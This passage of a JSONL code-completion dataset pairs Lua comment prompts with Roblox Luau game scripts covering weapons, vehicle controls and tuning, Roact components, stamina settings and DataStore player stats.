ps:GetPlayerFromCharacter(tempChr)\n\tend\nend)\n\n\nhandle.Touched:Connect(function(hit)\n\tlocal toolParent = tool.Parent\n\tif toolParent and toolParent:IsA(\"Model\") and toolParent ~= workspace then\n\t\tonHit(hit)\n\tend\nend)\n"} +{"prompt": "-- services", "completion": "\n\nlocal ServerScriptService\t= game:GetService(\"ServerScriptService\")\nlocal ReplicatedStorage\t\t= game:GetService(\"ReplicatedStorage\")\nlocal TextService\t\t\t= game:GetService(\"TextService\")\nlocal Chat\t\t\t\t\t= game:GetService(\"Chat\")\nlocal Players\t\t\t\t= game:GetService(\"Players\")\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2400\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 1\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- Camera", "completion": "\nlocal Camera = game.Workspace.CurrentCamera\n"} +{"prompt": "--// Events", "completion": "\nL_30_.OnServerEvent:connect(function(L_77_arg1)\t\n\tfor L_78_forvar1, L_79_forvar2 in pairs(L_26_:GetChildren()) do\n\t\tif L_79_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tL_79_forvar2.Enabled = true\n\t\tend\n\tend;\n\n\tdelay(1 / 30, function()\n\t\tfor L_80_forvar1, L_81_forvar2 in pairs(L_26_:GetChildren()) do\n\t\t\tif L_81_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_81_forvar2.Enabled = false\n\t\t\tend\n\t\tend\n\tend);\nend)\n\nL_31_.OnServerEvent:connect(function(L_82_arg1, L_83_arg2, L_84_arg3)\n\tL_83_arg2:TakeDamage(L_84_arg3)\n\tif L_83_arg2.Health <= 0 then\n\t\tL_35_:FireClient(L_82_arg1)\n\tend\nend)\n\nL_32_.OnServerEvent:connect(function(L_85_arg1, L_86_arg2)\n\tlocal L_87_ = Instance.new(\"ObjectValue\")\n\tL_87_.Name = \"creator\"\n\tL_87_.Value = L_85_arg1\n\tL_87_.Parent = L_86_arg2\n\tgame.Debris:AddItem(L_87_, 3)\nend)\n\nL_33_.OnServerEvent:connect(function(L_88_arg1, L_89_arg2)\n\tlocal L_90_ = L_88_arg1.Character\n\tlocal L_91_ = L_90_:FindFirstChild('Torso')\n\tlocal L_92_ = L_90_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')\n\tlocal L_93_ = L_91_:FindFirstChild('Right Hip')\n\tlocal L_94_ = L_91_:FindFirstChild('Left Hip')\n\tlocal L_95_ = L_91_:FindFirstChild('Clone')\n\t\n\tif L_89_arg2 == \"Prone\" and L_90_ and L_95_ then\n\t\tL_92_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)\n\t\tL_93_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)\n\t\tL_94_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)\t\t\t\n\t\tL_95_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)\t\n\telseif L_89_arg2 == \"Crouch\" and L_90_ and L_95_ then\n\t\tL_92_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)\n\t\tL_93_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)\n\t\tL_94_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)\n\t\tL_95_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_89_arg2 == \"Stand\" and L_90_ and L_95_ then\t\n\t\tL_92_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_93_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_94_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_95_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\telseif L_89_arg2 == \"LeanRight\" then\n\t\tL_92_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_93_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)\n\t\tL_95_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_89_arg2 == \"LeanLeft\" then\n\t\tL_92_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_94_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)\n\t\tL_95_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_89_arg2 == \"Unlean\" then\n\t\tL_92_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_93_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_94_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tif L_91_:FindFirstChild('Clone') then\n\t\t\tL_95_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tend\n\tend\nend)\n\nfunction L_34_.OnServerInvoke(L_96_arg1, L_97_arg2, L_98_arg3, L_99_arg4, L_100_arg5, L_101_arg6, L_102_arg7)\n\tlocal L_103_ = Instance.new(\"Part\", workspace)\n\tL_103_.FormFactor = \"Custom\"\n\tL_103_.TopSurface = 0\n\tL_103_.BottomSurface = 0\n\tL_103_.Transparency = 1\n\tL_103_.Anchored = true\n\tL_103_.CanCollide = false\n\tL_103_.Size = Vector3.new(0.5, 0, 0.5)\n\tL_103_.CFrame = CFrame.new(L_97_arg2) * CFrame.fromAxisAngle(L_98_arg3.magnitude == 0 and Vector3.new(1) or L_98_arg3.unit, L_99_arg4)\n\tL_103_.BrickColor = BrickColor.new(\"Really black\")\n\tL_103_.Material = \"SmoothPlastic\"\n\n\tlocal L_104_ = Instance.new(\"Decal\", L_103_)\n\tL_104_.Texture = \"rbxassetid://64291977\"\n\tL_104_.Face = \"Top\"\n\tgame.Debris:AddItem(L_104_, 3)\n\t\n\tlocal L_105_ = Instance.new(\"PointLight\", L_103_)\n\tL_105_.Color = Color3.new(0, 0, 0)\n\tL_105_.Range = 0\n\tL_105_.Shadows = true\n\t\n\tlocal L_106_ = Instance.new(\"Sound\")\n\tL_106_.Name = \"Crack\"\t\n\t\n\tif L_101_arg6.Material == Enum.Material.Grass or L_101_arg6.Material == Enum.Material.Ice or L_101_arg6.Material == Enum.Material.Fabric or L_101_arg6.Material == Enum.Material.Pebble then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_39_[math.random(1, #L_39_)]\n\telseif L_101_arg6.Material == Enum.Material.Sand then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_40_[math.random(1, #L_40_)]\n\telseif L_101_arg6.Material == Enum.Material.Glass or L_101_arg6.Material == Enum.Material.Neon then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_41_[math.random(1, #L_41_)]\n\telseif L_101_arg6.Material == Enum.Material.Wood or L_101_arg6.Material == Enum.Material.WoodPlanks then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_42_[math.random(1, #L_42_)]\n\telseif L_101_arg6.Material == Enum.Material.Metal or L_101_arg6.Material == Enum.Material.CorrodedMetal or L_101_arg6.Material == Enum.Material.DiamondPlate then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_43_[math.random(1, #L_43_)]\n\telseif L_101_arg6.Material == Enum.Material.Water then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_44_[math.random(1, #L_44_)]\n\telseif L_101_arg6.Material == Enum.Material.Concrete or L_101_arg6.Material == Enum.Material.Plastic or L_101_arg6.Material == Enum.Material.SmoothPlastic or L_101_arg6.Material == Enum.Material.Slate or L_101_arg6.Material == Enum.Material.Foil or L_101_arg6.Material == Enum.Material.Brick or L_101_arg6.Material == Enum.Material.Granite or L_101_arg6.Material == Enum.Material.Marble or L_101_arg6.Material == Enum.Material.Cobblestone then\n\t\tL_106_.SoundId = \"rbxassetid://\" .. L_45_[math.random(1, #L_45_)]\n\tend\t\n\t\n\tL_106_.Volume = math.random(0.8, 1)\n\tL_106_.EmitterSize = 10\n\tL_106_.MaxDistance = 30\n\tL_106_.Pitch = math.random(0, 0.6)\n\tL_106_.Parent = L_103_\n\tL_106_:play()\n\t\n\tgame.Debris:AddItem(L_106_, 1)\n\t\n\tgame.Debris:AddItem(L_103_, 3)\n\t\n\tlocal L_107_\n\tlocal L_108_\n\t\t\n\tif L_101_arg6 == \"Part\" then\n\t\tL_107_ = L_27_:WaitForChild(\"Spark\"):clone()\n\t\tL_107_.Parent = L_103_\n\t\tL_107_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_108_ = L_27_:WaitForChild(\"Smoke\"):clone()\n\t\tL_108_.Parent = L_103_\n\t\tL_108_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_107_.Enabled = true\n\t\tL_108_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_107_, 1)\n\t\tgame.Debris:AddItem(L_108_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_107_.Enabled = false\n\t\t\tL_108_.Enabled = false\n\t\tend)\n\telseif L_101_arg6 == \"Human\" then\t\t\n\t\tL_107_ = L_27_:WaitForChild(\"Blood\"):clone()\n\t\tL_107_.Parent = L_103_\n\t\tL_107_.EmissionDirection = \"Top\"\n\t\tL_107_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_107_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_107_.Enabled = false\n\t\tend)\n\tend\n\treturn L_103_\nend;\n\nL_36_.OnServerEvent:connect(function(L_109_arg1, L_110_arg2)\n\tL_36_:FireAllClients(L_109_arg1, L_110_arg2)\nend)\n\nL_37_.OnServerEvent:connect(function(L_111_arg1, L_112_arg2)\n\tlocal L_113_ = Instance.new('Part', workspace)\n\tL_113_.Size = Vector3.new(0.1, 0.1, 0.1)\n\tL_113_.Transparency = 1\n\tL_113_.CanCollide = false\n\tL_113_.Anchored = true\n\tL_113_.Position = L_112_arg2\n\tlocal L_114_ = Instance.new('Explosion', workspace)\n\tL_114_.Position = L_112_arg2\n\tL_114_.BlastPressure = L_11_.BlastPressue\n\tL_114_.BlastRadius = L_11_.BlastRadius\n\tL_114_.DestroyJointRadiusPercent = L_11_.DestroyJointRadius\n\tL_114_.ExplosionType = L_11_.ExplosionType\n\tlocal L_115_ = L_27_:WaitForChild('ExplosionSound'):clone()\n\tL_115_.Parent = L_113_\n\tL_115_:Play()\n\tgame:GetService('Debris'):AddItem(L_113_, L_115_.TimeLength)\nend)\n"} +{"prompt": "--Makes the cat randomly meow every 5 seconds--", "completion": "\n\nwhile true do\n\twait(5)\n\tMeow = math.random(0, 1)\n\n\tif Meow == 1 then\n\t\tscript.Parent.HumanoidRootPart.Meow:Play()\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1, p2, p3)\n\tlocal v1 = \"WeldConstraint\";\n\tif p3 then\n\t\tv1 = \"ManualWeld\";\n\tend;\n\tlocal v2 = Instance.new(v1);\n\tv2.Part0 = p1;\n\tv2.Part1 = p2;\n\tif p3 then\n\t\tv2.C0 = p1.CFrame:Inverse() * p2.CFrame;\n\tend;\n\tv2.Parent = p1;\n\treturn v2;\nend;\n"} +{"prompt": "--[[\n\tAn internal method used by the reconciler to construct a new component\n\tinstance and attach it to the given virtualNode.\n]]", "completion": "\nfunction Component:__mount(reconciler, virtualNode)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentClass, \"Invalid use of `__mount`\")\n\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #2 to be of type VirtualNode\")\n\tend\n\n\tlocal currentElement = virtualNode.currentElement\n\tlocal hostParent = virtualNode.hostParent\n\n\t-- Contains all the information that we want to keep from consumers of\n\t-- Roact, or even other parts of the codebase like the reconciler.\n\tlocal internalData = {\n\t\treconciler = reconciler,\n\t\tvirtualNode = virtualNode,\n\t\tcomponentClass = self,\n\t\tlifecyclePhase = ComponentLifecyclePhase.Init,\n\t}\n\n\tlocal instance = {\n\t\t[Type] = Type.StatefulComponentInstance,\n\t\t[InternalData] = internalData,\n\t}\n\n\tsetmetatable(instance, self)\n\n\tvirtualNode.instance = instance\n\n\tlocal props = currentElement.props\n\n\tif self.defaultProps ~= nil then\n\t\tprops = assign({}, self.defaultProps, props)\n\tend\n\n\tinstance:__validateProps(props)\n\n\tinstance.props = props\n\n\tlocal newContext = assign({}, virtualNode.context)\n\tinstance._context = newContext\n\n\tinstance.state = assign({}, instance:__getDerivedState(instance.props, {}))\n\n\tif instance.init ~= nil then\n\t\tinstance:init(instance.props)\n\tend\n\n\t-- It's possible for init() to redefine _context!\n\tvirtualNode.context = instance._context\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Render\n\tlocal renderResult = instance:render()\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren\n\treconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)\n\n\tif instance.didMount ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.DidMount\n\t\tinstance:didMount()\n\tend\n\n\tif internalData.pendingState ~= nil then\n\t\t-- __update will handle pendingState, so we don't pass any new element or state\n\t\tinstance:__update(nil, nil)\n\tend\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Idle\nend\n"} +{"prompt": "--[[Workspace Variables]]", "completion": "--\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool,'Handle')\n"} +{"prompt": "--------------------\n--Config", "completion": "\nlocal stamina = 250\nlocal walk = speeds.Walk\nlocal run = speeds.Run\nlocal exhaust = speeds.Exhaust"} +{"prompt": "-----------------------------------------------| Save Stats |------------------------------------------------------------", "completion": "\n\n\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal myDataStore = DataStoreService:GetDataStore(\"myDataStore\")\n\n\ngame.Players.PlayerAdded:Connect(function(player)\n\tlocal leaderstats = Instance.new(\"Folder\")\n\tleaderstats.Name = \"leaderstats\"\n\tleaderstats.Parent = player\n\n\tlocal Time = Instance.new(\"IntValue\")\n\tTime.Name = \"Time\"\n\tTime.Parent = leaderstats\n\n\tlocal playerUserId = \"Player\"..player.UserId\n\n\tlocal data \n\n\tlocal success, errormessage = pcall(function()\n\t\tdata = myDataStore:GetAsync(playerUserId) \n\tend)\n\n\n\tif success then\n\t\tTime.Value = data \n\tend\n\n\twhile wait(1) do\n\t\tplayer.leaderstats.Time.Value = player.leaderstats.Time.Value + 0 --Don't change it or it will make it go up twice\n\tend\nend)\n\ngame.Players.PlayerRemoving:Connect(function(player)\n\tlocal playerUserId = \"Player\"..player.UserId\n\n\tlocal data = player.leaderstats.Time.Value\n\n\tmyDataStore:SetAsync(playerUserId, data) \n\nend)\n"} +{"prompt": "--[[Controls]]", "completion": "\n\n\tlocal _CTRL = _Tune.Controls\n\tlocal Controls = Instance.new(\"Folder\",script.Parent)\n\tControls.Name = \"Controls\"\n\tfor i,v in pairs(_CTRL) do\n\t\tlocal a=Instance.new(\"StringValue\",Controls)\n\t\ta.Name=i\n\t\ta.Value=v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i]=Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\n\t\n\t--Deadzone Adjust\n\tlocal _PPH = _Tune.Peripherals\n\t\tfor i,v in pairs(_PPH) do\n\t\tlocal a = Instance.new(\"IntValue\",Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function() \n\t\t\ta.Value=math.min(100,math.max(0,a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\n\t\n\t--Input Handler\n\tfunction DealWithInput(input,IsRobloxFunction)\n\t\tif (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus\n\t\t\t--Shift Down [Manual Transmission]\n\t\t\tif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftDown\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftDown\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftDown\"])) and ((_TMode==\"Auto\" and _CGear<=1) or _TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 then _ClutchOn = true end\n\t\t\t\t_CGear = math.max(_CGear-1,-1)\n\t\t\t\t\n\t\t\t--Shift Up [Manual Transmission]\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftUp\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftUp\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftUp\"])) and ((_TMode==\"Auto\" and _CGear<1) or _TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 then _ClutchOn = true end\n\t\t\t\t_CGear = math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\n\t\t\t--Toggle Clutch\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrClutch\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseClutch\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"Clutch\"])) and _TMode==\"Manual\" then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_ClutchOn = false\n\t\t\t\t\t_ClPressing = true\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\t\t_ClPressing = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle PBrake\n\t\t\telseif _IsOn and input.KeyCode ==_CTRL[\"ContlrPBrake\"] or (_MSteer and input.KeyCode==_CTRL[\"MousePBrake\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"PBrake\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_PBrake = not _PBrake\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude>5 then\n\t\t\t\t\t\t_PBrake = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Transmission Mode\n\t\t\telseif (input.KeyCode == _CTRL[\"ContlrToggleTMode\"] or input.KeyCode==_CTRL[\"ToggleTransMode\"]) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tlocal n=1\n\t\t\t\tfor i,v in pairs(_Tune.TransModes) do\n\t\t\t\t\tif v==_TMode then n=i break end\n\t\t\t\tend\n\t\t\t\tn=n+1\n\t\t\t\tif n>#_Tune.TransModes then n=1 end\n\t\t\t\t_TMode = _Tune.TransModes[n]\n\t\t\t\t\n\t\t\t--Throttle\n\t\t\telseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL[\"Throttle\"] or input.KeyCode == _CTRL[\"Throttle2\"])) or ((((_CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseThrottle\"]) or input.KeyCode == _CTRL[\"MouseThrottle\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GThrot = 1\n\t\t\t\telse\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Brake\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Brake\"] or input.KeyCode == _CTRL[\"Brake2\"])) or ((((_CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseBrake\"]) or input.KeyCode == _CTRL[\"MouseBrake\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GBrake = 1\n\t\t\t\telse\n\t\t\t\t\t_GBrake = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Left\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerLeft\"] or input.KeyCode == _CTRL[\"SteerLeft2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\t_SteerL = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerR then\n\t\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerL = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Right\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerRight\"] or input.KeyCode == _CTRL[\"SteerRight2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\t_SteerR = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerL then\n\t\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerR = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Mouse Controls\n\t\t\telseif input.KeyCode ==_CTRL[\"ToggleMouseDrive\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_MSteer = not _MSteer\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\t\t_GBrake = 0\n\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle TCS\n\t\t\telseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleTCS\"] or input.KeyCode == _CTRL[\"ContlrToggleTCS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif script.Parent.DriveMode.Value ~= \"SportPlus\" then\n\t\t\t\t\t\t_TCS = not _TCS\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\n\t\t\t--Toggle ABS\n\t\t\telseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleABS\"] or input.KeyCode == _CTRL[\"ContlrToggleABS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ABS = not _ABS\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--Variable Controls\n\t\t\tif input.UserInputType.Name:find(\"Gamepad\") then\n\t\t\t\t--Gamepad Steering\n\t\t\t\tif input.KeyCode == _CTRL[\"ContlrSteer\"] then\n\t\t\t\t\tif input.Position.X>= 0 then\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X-cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X+cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Throttle\n\t\t\t\telseif _IsOn and input.KeyCode == _CTRL[\"ContlrThrottle\"] then\n\t\t\t\t\t_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)\n\t\t\t\t\t\n\t\t\t\t--Gamepad Brake\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrBrake\"] then\n\t\t\t\t\t_GBrake = input.Position.Z\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t_GSteerT = 0\n\t\t\t_GBrake = 0\n\t\t\tif _CGear~=0 then _ClutchOn = true end\n\t\tend\n\tend\n\tUserInputService.InputBegan:connect(DealWithInput)\n\tUserInputService.InputChanged:connect(DealWithInput)\n\tUserInputService.InputEnded:connect(DealWithInput)\n\nlocal OGDrivemode \nlocal Kickdown = false\n\t\nUserInputService.InputBegan:Connect(function(key, focus)\n\tif focus == false and not _InControls and script.Parent.DriveMode.Value == \"Comfort\" then\n\t\tif key.KeyCode == _CTRL[\"Throttle2\"] and _CGear > 0 then\n\t\t\tif tick() - CurrKickdown <= _Tune.KickdownWindow then\n\t\t\t\t--kickdown activated\n\t\t\t\tOGDrivemode = script.Parent.DriveMode.Value\n\t\t\t\tKickdown = true\n\t\t\t\tscript.Parent.DriveMode.Value = \"Sport++\"\n\t\t\t\tif _RPM <= _Tune.KickdownRPMCap then\n\t\t\t\t\t_CGear = math.max(_CGear-1, 1)\n\t\t\t\tend\n\t\t\tend\t\n\t\t\tCurrKickdown = tick()\n\t\tend\n\tend\nend)\n\nUserInputService.InputBegan:Connect(function(input, focus)\n\tif focus == true then return end\n\tif script.Parent.Values.Throttle.Value == 1 and input.UserInputType.Name:find(\"Gamepad\") and _CGear > 0 then\n\t\t--kickdown activated\n\t\tOGDrivemode = script.Parent.DriveMode.Value\n\t\tKickdown = true\n\t\tscript.Parent.DriveMode.Value = \"Sport++\"\n\t\tif _RPM <= _Tune.KickdownRPMCap then\n\t\t\t_CGear = math.max(_CGear-1, 1)\n\t\tend\t\t\n\tend\t\nend)\n\nscript.Parent.Values.Throttle.Changed:Connect(function()\n\tif script.Parent.Values.Throttle.Value ~= 1 and Kickdown == true then\n\t\tKickdown = false\n\t\tscript.Parent.DriveMode.Value = OGDrivemode == nil and \"Comfort\" or OGDrivemode\t\t\n\tend\nend)\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function Lerp(a, b, d) return a + (b - a) * d end\n\nlocal function UpdateReticle()\n\tfor _, reticle in pairs(MOUSE_GUI:GetChildren()) do\n\t\treticle.Visible\t= reticle.Name == MOUSE.Reticle\n\tend\nend\n\nlocal function UpdateScope()\n\tSCOPE_GUI.Visible\t= scope and aiming\n\tMOUSE_GUI.Visible\t= not SCOPE_GUI.Visible\nend\n\nlocal function Hitmarker(position, damage, armor, headshot)\n\tlocal position\t= CAMERA:WorldToViewportPoint(position)\n\t\n\tlocal hitmarker\t= script.Hitmarker:Clone()\n\t\thitmarker.Position\t= UDim2.new(0, position.X, 0, position.Y)\n\t\thitmarker.Size\t\t= UDim2.new(0.05, 0, 0.05, 0)\n\t\thitmarker.Parent\t= GUI\n\t\t\n\tif headshot then\n\t\tfor _, frame in pairs(hitmarker:GetChildren()) do\n\t\t\tif frame.Name ~= \"Shadow\" 